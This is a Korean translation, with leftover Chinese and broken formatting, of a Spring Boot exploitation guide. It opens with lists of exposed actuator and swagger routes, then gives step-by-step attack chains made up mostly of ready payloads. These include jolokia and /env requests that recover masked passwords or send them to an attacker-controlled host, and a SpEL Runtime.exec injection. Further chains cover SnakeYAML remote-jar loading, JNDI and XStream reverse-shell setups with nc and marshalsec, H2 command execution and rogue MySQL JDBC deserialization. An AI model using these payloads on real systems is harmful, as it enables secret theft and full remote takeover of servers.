
SpringBoot 관련 취약점 학습 자료, 활용 방법 및 기법 모음, 블랙박스 보안 평가 check list
Spring Boot 관련 취약점 학습 자료, 이용 방법 및 기술 모음, 블랙박스 보안 평가 체크리스트
⚠️ 이 프로젝트의 모든 내용은 보안 연구 및 승인된 테스트 목적으로만 제공되며, 오용 및 남용으로 인한 모든 피해에 대해 관련자는 책임을 지지 않습니다.
/manage, /management, 프로젝트 App 관련 이름을 spring 루트 경로로 사용자 정의합니다./이고, 2.x 버전은 모두 /actuator를 시작 경로로 통일합니다./env)도 개발자가 수정하는 경우가 있습니다(예: /appenv로 변경).Spring Cloud는 Spring Boot를 기반으로 서비스를 구축하며, 구성 관리, 서비스 등록 및 발견, 지능형 라우팅 등 일반적인 기능을 제공하여 분산 시스템 개발을 빠르게 돕는 일련의 프레임워크 모음입니다.
| 종속 항목 | 버전 목록 및 종속 컴포넌트 버전 |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies | spring-boot-dependencies |
| 부 버전 번호 접미사 | 의미 |
|---|---|
| BUILD-SNAPSHOT | 스냅샷 버전, 코드가 고정되지 않고 변경 중 |
| MX | 마일스톤 버전 |
| RCX | 릴리스 후보 버전 |
| RELEASE | 정식 릴리스 버전 |
개발자가 주소 누출로 인한 보안 위험을 인지하지 못했거나, 개발 환경을 운영 환경으로 전환할 때 관련 담당자가 구성 파일을 변경하지 않거나 환경 구성을 전환하지 않은 경우 등
다음 두 개의 swagger 관련 라우트에 직접 접근하여 취약점 존재 여부를 확인합니다.``` /v2/api-docs /swagger-ui.html
기타 마주칠 수 있는 swagger, swagger codegen, swagger-dubbo 등 관련 인터페이스 라우트:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
이 외에도 아래의 spring boot actuator 관련 라우트는 때때로 일부 인터페이스 주소 정보를 포함(또는 추측)하기도 하지만, 파라미터 관련 정보는 얻을 수 없습니다:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**일반적으로 Spring Boot 애플리케이션의 관련 인터페이스와 파라미터 정보를 노출하는 것은 취약점이라고 할 수 없지만**, "**기본 보안**" 관점에서는 이러한 정보를 노출하지 않는 것이 더 안전합니다.
공격자 입장에서는 일반적으로 노출된 인터페이스를 면밀히 감사하여 업무 시스템에 대한 이해를 높이고, 동시에 애플리케이션 시스템에 미인증 접근, 권한 상승 등 다른 유형의 업무 취약점이 존재하는지 확인합니다.
### 0x02: 잘못된 설정으로 인해 노출된 라우트
> 주로 개발자가 라우트 노출로 인한 보안 위험을 인지하지 못했거나, 표준 개발 절차를 따르지 않아 운영 환경 설정을 수정/전환하는 것을 잊어버렸기 때문입니다.
[production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) 및 [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)를 참고하면, 잘못된 설정으로 인해 노출될 수 있는 기본 내장 라우트는 다음과 같습니다:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
취약점을 찾는 데 중요한 인터페이스는 다음과 같습니다:
/env, /actuator/env
GET /env 요청은 환경 변수, 내부 네트워크 주소, 설정 속의 사용자명 등 정보를 직접 노출합니다. 프로그래머의 속성명 명명 규칙이 표준적이지 않아서, 예를 들어 password를 psasword, pwd 등으로 적는 경우 비밀번호 평문이 유출됩니다.
동시에 일정 확률로 POST /env 인터페이스를 통해 일부 속성을 설정하여 간접적으로 관련 RCE 취약점을 유발할 수 있습니다. 또한 별표(*)로 마스킹된 비밀번호, 키 등 중요한 개인 정보의 평문을 얻을 가능성이 있습니다.
/refresh, /actuator/refresh
POST /env 인터페이스로 속성을 설정한 후, POST /refresh 인터페이스 요청과 함께 속성 변수를 새로고침하여 관련 RCE 취약점을 유발할 수 있습니다.
/restart, /actuator/restart
이 인터페이스가 노출되는 경우는 적습니다. POST /env 인터페이스로 속성을 설정한 후, POST /restart 인터페이스로 애플리케이션을 재시작하여 관련 RCE 취약점을 유발할 수 있습니다.
/jolokia,
/env인터페이스에 접근할 때, Spring Actuator는 민감한 키워드(예: password, secret)가 포함된 일부 속성명에 해당하는 속성값을*기호로 대체하여 마스킹 처리합니다.
/jolokia 또는 /actuator/jolokia 인터페이스가 존재해야 함jolokia-core 의존성을 사용하고 있어야 함 (버전 요구 사항은 미확인)대상 웹사이트의 /env 또는 /actuator/env 인터페이스에 GET 요청을 보내고 ****** 키워드를 검색하여 별표(*)로 마스킹된 속성값에 해당하는 속성명을 찾습니다.
아래 예시에서 security.user.password를 실제로 획득하려는 속성명으로 바꾸고 바로 패킷을 전송합니다. 평문값 결과는 response 패킷의 value 키에 포함됩니다.
org.springframework.boot Mbean 호출실제로는 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 클래스 인스턴스의 getProperty 메서드를 호출합니다.
Spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment Mbean 호출실제로는 org.springframework.cloud.context.environment.EnvironmentManager 클래스 인스턴스의 getProperty 메서드 호출
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
대상 구체적인 상황과 존재하는 Mbean이 다를 수 있으므로, getProperty 등의 키워드를 검색하여 호출 가능한 메서드를 찾을 수 있습니다.
/env에 GET 요청 가능/env에 POST 요청 가능/refresh 엔드포인트에 POST 요청 가능(구성 새로고침, spring-boot-starter-actuator 의존성 필요)spring-cloud-starter-netflix-eureka-client 의존성 사용대상 웹사이트의 /env 또는 /actuator/env 엔드포인트에 GET 요청을 보내고, ****** 키워드를 검색하여 별표(*)로 가려진 속성값에 해당하는 속성명을 찾습니다.
자신이 제어하는 외부 서버에서 80번 포트를 수신 대기합니다:```bash nc -lvk 80
##### 3단계: eureka.client.serviceUrl.defaultZone 속성 설정
아래 `http://value:${security.user.password}@your-vps-ip` 에서 `security.user.password` 를 자신이 가져오려는 해당 별표 * 로 숨겨진 속성 이름으로 바꾸세요.
`your-vps-ip` 를 자신의 외부 서버 실제 IP 주소로 바꾸세요.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
스프링 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### 4단계: 구성 새로고침
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### 5단계: 속성 값 디코딩
정상적으로는, 이때 nc가 수신 대기하는 서버가 대상으로부터 다음과 같은 `Authorization` 헤더 내용이 포함된 요청을 받게 됩니다:```
Authorization: Basic dmFsdWU6MTIzNDU2
해당 dmFsdWU6MTIzNDU2 부분을 base64로 디코딩하면 value:123456과 같은 평문 값을 얻을 수 있으며, 여기서 123456이 대상 별표 * 로 마스킹되기 전의 속성 값 평문입니다.
/env 를 통해 속성을 설정하여 대상이 외부 지정 주소로 임의의 http 요청을 보내도록 트리거UUUUnotfound가 제안한 issue-1 참고, 대상이 외부 http 요청을 보내는 과정에서 url path의 플레이스홀더를 이용해 데이터를 유출할 수 있음
GET 요청을 대상 웹사이트의 /env 또는 /actuator/env 인터페이스로 보내고, ****** 키워드를 검색하여 별표 * 로 마스킹된 속성 값의 속성명을 찾습니다.
자신이 제어하는 외부 서버에서 80번 포트를 수신 대기합니다:```bash nc -lvk 80
##### 3단계: 외부 http 요청 트리거
- `spring.cloud.bootstrap.location` 메서드(**평문 데이터에 특수 url 문자가 있는 경우에도** 적용 가능)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` 메서드 (**적용되지 않음** 평문 데이터에 특수 url 문자가 있는 경우)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### 4단계: 구성 새로 고침
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06: 별표로 마스킹된 비밀번호의 평문 획득 (방법 4)
> `/env` 엔드포인트에 접근할 때, spring actuator는 일부 민감한 키워드(예: password, secret)가 포함된 속성 이름에 해당하는 속성 값을 `*` 기호로 대체하여 마스킹 처리합니다.
#### 이용 조건:
- 정상적으로 GET 요청 가능한 대상 `/heapdump` 또는 `/actuator/heapdump` 엔드포인트
#### 이용 방법:
##### 1단계: 획득하려는 속성 이름 찾기
GET 요청으로 대상 웹사이트의 `/env` 또는 `/actuator/env` 엔드포인트에 접속하여 `******` 키워드를 검색하고, 별표 `*`로 가려진 속성 값에 해당하는 속성 이름을 찾습니다.
##### 2단계: JVM 힙 정보 다운로드
> 다운로드한 heapdump 파일의 크기는 일반적으로 50M~500M 사이이며, 때로는 2G를 초과할 수도 있습니다.
`GET` 요청으로 대상의 `/heapdump` 또는 `/actuator/heapdump` 엔드포인트에 접속하여 애플리케이션의 실시간 JVM 힙 정보를 다운로드합니다.
##### 3단계: MAT를 사용하여 JVM 힙에서 비밀번호 평문 획득
[글](https://landgrey.me/blog/16/) 에 설명된 방법을 참조하여 [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) 도구의 **OQL** 문을 사용합니다.```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
spring boot 관련 취약점은 여러 구성 요소의 취약점 조합으로 발생할 수 있으므로, 일부 취약점 이름이 정확하지 않을 수 있으며 구분이 가능한 수준으로 작성되었습니다.
예를 들어 /article?id=xxx 에 접속했을 때 페이지가 상태 코드 500 오류인 Whitelabel Error Page 를 반환한다면, 이후 페이로드는 모두 id 파라미터에서 시도합니다.
/article?id=${7*7} 입력 시, 오류 페이지에 7*7의 결과값 49가 계산되어 표시된다면 대상에 SpEL 표현식 주입 취약점이 존재한다고 확정할 수 있습니다.
문자열 형식을 0x** java 바이트 형식으로 변환하여 임의 코드 실행을 용이하게 합니다:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
`open -a Calculator` 명령을 실행합니다```java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelper 클래스로 들어갑니다.parseStringValue 메서드로 재귀적으로 파싱됩니다.${}로 둘러싸인 내용은 모두 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 클래스의 resolvePlaceholder 메서드에 의해 SpEL 표현식으로 파싱되어 실행되므로 RCE 취약점이 발생합니다. SpringBoot SpEL 표현식 주입 취약점 - 분석 및 재현
repository/springboot-spel-rce
정상 접속:``` http://127.0.0.1:9091/article?id=66
`open -a Calculator` 명령을 실행합니다:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env 엔드포인트에 POST 요청을 보내 속성을 설정할 수 있어야 함/refresh 엔드포인트에 POST 요청을 보내 구성을 새로고침할 수 있어야 함 (spring-boot-starter-actuator 의존성이 있어야 함)spring-cloud-starter 버전이 1.3.0.RELEASE 미만이어야 함자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 열고, 포트는 가능한 일반적인 HTTP 서비스 포트(80, 443)를 사용```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
웹사이트 루트 디렉토리에 확장자가 `yml`인 파일 `example.yml`을 배치하고, 내용은 다음과 같습니다:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
웹 사이트 루트 디렉터리에 확장자가 jar인 파일 example.jar를 배치합니다. 내용은 실행할 코드이며, 코드 작성 및 컴파일 방법은 yaml-payload를 참조하십시오.
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
spring.cloud.bootstrap.location 속성이 외부 악성 yml 파일 URL 주소로 설정됨refresh가 대상 머신을 트리거하여 원격 HTTP 서버의 yml 파일을 요청하고 그 내용을 획득java.net.URL을 트리거하여 원격 HTTP 서버의 악성 jar 파일을 가져옴javax.script.ScriptEngineFactory 인터페이스를 구현한 클래스를 찾아 인스턴스화Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记
repository/springcloud-snakeyaml-rce
정상 접근:``` http://127.0.0.1:9092/env
### 0x03:eureka xstream 역직렬화 RCE
#### 이용 조건:
- 대상 웹사이트의 `/env` 엔드포인트에 POST 요청을 보내 속성을 설정할 수 있어야 함
- 대상 웹사이트의 `/refresh` 엔드포인트에 POST 요청을 보내 구성을 새로고침할 수 있어야 함 (`spring-boot-starter-actuator` 의존성 필요)
- 대상이 사용하는 `eureka-client` < 1.8.7 (일반적으로 `spring-cloud-starter-netflix-eureka-client` 의존성에 포함됨)
- 대상이 공격자의 HTTP 서버에 요청할 수 있어야 함 (외부 네트워크로 요청 가능)
#### 이용 방법:
##### 1단계: 악성 XStream payload를 응답하는 웹사이트 구축
Flask에 의존하며 요구 사항을 충족하는 [python 스크립트 예제](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py)를 제공합니다. 이 스크립트는 대상 Linux 시스템에 기본 설치된 python을 사용하여 리버스 셸을 획득합니다.
자신이 제어하는 서버에서 위 스크립트를 python으로 실행하고, 실제 상황에 맞게 스크립트 내 리버스 셸의 ip 주소와 포트 번호를 수정합니다.
##### 2단계: 리버스 셸 포트 리스닝
일반적으로 nc로 포트를 리스닝하여 리버스 셸을 기다립니다.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
Spring Boot Actuator从未授权访问到getshell
repository/springboot-eureka-xstream-rce
정상 접속:``` http://127.0.0.1:9093/env
### 0x04:jolokia logback JNDI RCE
#### 이용 조건:
- 대상 웹사이트에 `/jolokia` 또는 `/actuator/jolokia` 인터페이스가 존재
- 대상이 `jolokia-core` 의존성을 사용하고 (버전 요구 사항은 아직 미확인) 환경에 관련 MBean이 존재
- 대상이 공격자의 HTTP 서버로 요청을 보낼 수 있어야 함 (외부 네트워크 요청 가능)
- 일반적인 JNDI 주입은 대상 JDK 버전의 영향을 받음, jdk < 6u201/7u191/8u182/11.0.1(LDAP), 그러나 관련 환경에서 우회 가능
#### 이용 방법:
##### 1단계: 기존 MBeans 확인
`/jolokia/list` 인터페이스에 접속하여 `ch.qos.logback.classic.jmx.JMXConfigurator` 및 `reloadByURL` 키워드가 존재하는지 확인
##### 2단계: xml 파일 호스팅
자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 열고, 포트는 가능하면 일반적인 HTTP 서비스 포트(80, 443)를 사용```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
루트 디렉토리에 xml로 끝나는 example.xml 파일을 배치합니다. 내용은 다음과 같습니다:```xml
##### 3단계: 실행할 Java 코드 준비
최적화된 리버스 셸용 [Java 예제 코드](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` 를 작성합니다.
하위 버전 jdk와 호환되는 방식으로 컴파일:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
그런 다음 생성된 JNDIObject.class 파일을 2단계의 웹사이트 루트 디렉터리로 복사합니다.
marshalsec 을 다운로드하고 아래 명령어로 해당 ldap 서버를 구축합니다:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### 5단계: 리버스 셸(reverse shell) 포트 리스닝
일반적으로 nc를 사용하여 포트를 리스닝하고 리버스 셸을 기다립니다.```bash
nc -lv 443
⚠️ 대상이 example.xml을 성공적으로 요청하고 marshalsec도 대상 요청을 수신했지만, 대상이 JNDIObject.class를 요청하지 않은 경우, 대부분 대상 환경의 JDK 버전이 너무 높아 JNDI 악용에 실패했을 가능성이 있습니다.
실제 your-vps-ip 주소로 대체하여 URL에 접근해 취약점을 트리거합니다:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### 취약점 원리:
1. 취약점을 트리거하는 URL에 직접 접근하면 jolokia를 통해 `ch.qos.logback.classic.jmx.JMXConfigurator` 클래스의 `reloadByURL` 메서드를 호출하는 것과 같습니다.
2. 대상 머신이 외부 로그 구성 파일 URL 주소를 요청하여 악의적인 XML 파일 내용을 가져옵니다.
3. 대상 머신이 saxParser.parse를 사용하여 XML 파일을 파싱합니다 (여기서 XXE 취약점이 발생합니다).
4. XML 파일에서 `logback` 의존성의 `insertFormJNDI` 태그를 이용하여 외부 JNDI 서버 주소를 설정합니다.
5. 대상 머신이 악의적인 JNDI 서버를 요청하여 JNDI 인젝션이 발생하고, RCE 취약점이 발생합니다.
#### 취약점 분석:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### 취약점 환경:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
정상 접근:```
http://127.0.0.1:9094/env
/jolokia 또는 /actuator/jolokia 엔드포인트가 존재jolokia-core 의존성을 사용하고 (버전 요구 사항은 아직 알려지지 않음) 환경에 관련 MBean이 존재/jolokia/list 엔드포인트에 접속하여 type=MBeanFactory 및 createJNDIRealm 키워드가 존재하는지 확인합니다.
리버스 셸을 획득하기 위해 최적화된 Java 예제 코드 JNDIObject.java를 작성합니다.
자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 열고, 포트는 가능하면 일반적인 HTTP 서비스 포트(80, 443)를 사용합니다.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。
##### 步骤四:架设恶意 rmi 服务
下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
일반적으로 nc를 사용하여 포트를 리슨하고 리버스 셸을 기다립니다```bash nc -lvp 443
##### 6단계: 악성 페이로드 전송
실제 상황에 맞게 [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) 스크립트의 대상 주소, RMI 주소, 포트 등을 수정한 후, 자신이 제어하는 서버에서 실행합니다.
#### 취약점 원리:
1. jolokia를 이용하여 createJNDIRealm 호출로 JNDIRealm 생성
2. connectionURL 주소를 RMI Service URL로 설정
3. contextFactory를 RegistryContextFactory로 설정
4. Realm 중지
5. Realm을 시작하여 지정된 RMI 주소의 JNDI 주입을 트리거, RCE 취약점 발생
#### 취약점 분석:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### 취약점 환경:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
정상 접근:```
http://127.0.0.1:9094/env
/env 엔드포인트에 POST 요청을 보내 속성을 설정할 수 있어야 함/restart 엔드포인트에 POST 요청을 보내 애플리케이션을 재시작할 수 있어야 함com.h2database.h2 의존성이 존재해야 함 (버전 요구 사항은 아직 알 수 없음)⚠️ 아래 페이로드의 'T5' 메서드는 명령을 실행할 때마다 이름을 변경(예: T6)해야 다시 생성하여 사용할 수 있습니다. 그렇지 않으면 다음 restart로 애플리케이션을 재시작할 때 취약점이 트리거되지 않습니다.
spring 1.x (출력 없이 명령 실행)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(무반응 명령 실행)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query 속성이 악의적인 CREATE ALIAS 사용자 정의 함수를 생성하는 SQL 문으로 설정됨 remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
정상 접근:``` http://127.0.0.1:9096/actuator/env
### 0x07:h2 database console JNDI RCE
#### 이용 조건:
- `com.h2database.h2` 의존성이 존재해야 함 (버전 요구사항은 아직 알 수 없음)
- Spring 구성에서 h2 console 활성화: `spring.h2.console.enabled=true`
- 대상이 공격자의 서버에 요청을 보낼 수 있어야 함 (요청이 외부로 나갈 수 있어야 함)
- JNDI 주입은 대상 JDK 버전의 영향을 받음: jdk < 6u201/7u191/8u182/11.0.1 (LDAP 방식)
#### 이용 방법:
##### 1단계: 라우트에 접근하여 jsessionid 획득
h2 console의 기본 라우트인 `/h2-console`에 직접 접근하면 `/h2-console/login.jsp?jsessionid=xxxxxx` 페이지로 리다이렉트됩니다. 실제 `jsessionid=xxxxxx` 값을 기록합니다.
##### 2단계: 실행할 Java 코드 준비
최적화된 셸 리버스 연결용 [Java 예제 코드](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java`를 작성하고,
낮은 버전의 JDK와 호환되는 방식으로 컴파일:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
그런 다음 생성된 JNDIObject.class 파일을 2단계의 웹사이트 루트 디렉터리에 복사합니다.
자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 열고, 포트는 가능한 일반적인 HTTP 서비스 포트(80, 443)를 사용합니다.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
将**2단계**에서 컴파일된 class 파일을 HTTP 서버 루트 디렉토리에 복사합니다.
##### 4단계: 악성 ldap 서비스 구축
[marshalsec](https://github.com/mbechler/marshalsec)을 다운로드하고, 아래 명령어를 사용하여 해당 ldap 서비스를 구축합니다:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
일반적으로 nc를 사용하여 포트를 리스닝하고 리버스 셸을 기다립니다.```bash nc -lv 443
##### 6단계: 패킷 전송으로 JNDI 인젝션 트리거
실제 상황에 따라 아래 데이터의 `jsessionid=xxxxxx`, `www.example.com`, `ldap://your-vps-ip:1389/JNDIObject`를 교체하십시오.```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
Spring Boot + H2 데이터베이스 JNDI 인젝션
repository/springboot-h2-database-rce
정상 접근:``` http://127.0.0.1:9096/h2-console
### 0x08: mysql jdbc deserialization RCE
#### 이용 조건:
- POST 요청으로 대상 웹사이트의 `/env` 엔드포인트에 속성을 설정할 수 있어야 함
- POST 요청으로 대상 웹사이트의 `/refresh` 엔드포인트에 구성 새로고침을 요청할 수 있어야 함 (`spring-boot-starter-actuator` 의존성 존재)
- 대상 환경에 `mysql-connector-java` 의존성이 존재해야 함
- 대상이 공격자의 서버로 요청을 보낼 수 있어야 함 (외부 네트워크 요청 가능)
#### 이용 방법:
##### 1단계: 환경 의존성 확인
GET 요청 `/env` 또는 `/actuator/env`를 보내 환경 변수(classpath)에서 `mysql-connector-java` 키워드가 있는지 검색하고, 버전 번호(5.x 또는 8.x)를 기록합니다.
`commons-collections`, `Jdk7u21`, `Jdk8u20` 등 일반적인 역직렬화 gadget 의존성이 환경 변수에 존재하는지 검색하고 확인합니다.
`spring.datasource.url` 키워드를 검색하여 `value` 값을 기록해 두었다가, 이후 정상적인 jdbc url 값을 복원할 때 사용합니다.
##### 2단계: 악성 rogue mysql 서버 구축
자신이 제어하는 서버에서 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 스크립트를 실행하고, [ysoserial](https://github.com/frohoff/ysoserial)을 사용하여 실행할 명령어를 사용자 정의합니다:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。
⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!
mysql-connector-java 5.x 版本设置属性值为:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x 버전은 **속성 값**을 다음과 같이 설정합니다:```
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
웹사이트의 알려진 데이터베이스 쿼리 엔드포인트(예: /product/list)에 접근하거나 다른 방법을 통해 원본 웹사이트가 데이터베이스 쿼리를 수행하도록 능동적으로 트리거하면, 취약점이 발현됩니다.
역직렬화 취약점을 이용한 후, 3단계의 방법을 사용하여 1단계에서 기록한 spring.datasource.url의 원래 value 값을 복원합니다.
spring.datasource.url 속성이 외부 악성 MySQL JDBC URL 주소로 설정됨spring.datasource.url 속성 값이 설정됨New-Exploit-Technique-In-Java-Deserialization-Attack
application.properties의 spring.datasource.url, spring.datasource.username, spring.datasource.password를 정상적으로 MySQL 데이터베이스에 연결할 수 있도록 구성해야 합니다. 그렇지 않으면 프로그램 시작 시 오류가 발생하여 종료됩니다.
repository/springboot-mysql-jdbc-rce
정상 접근:``` http://127.0.0.1:9097/actuator/env
payload를 보낸 후 취약점이 트리거됩니다:```
http://127.0.0.1:9097/product/list
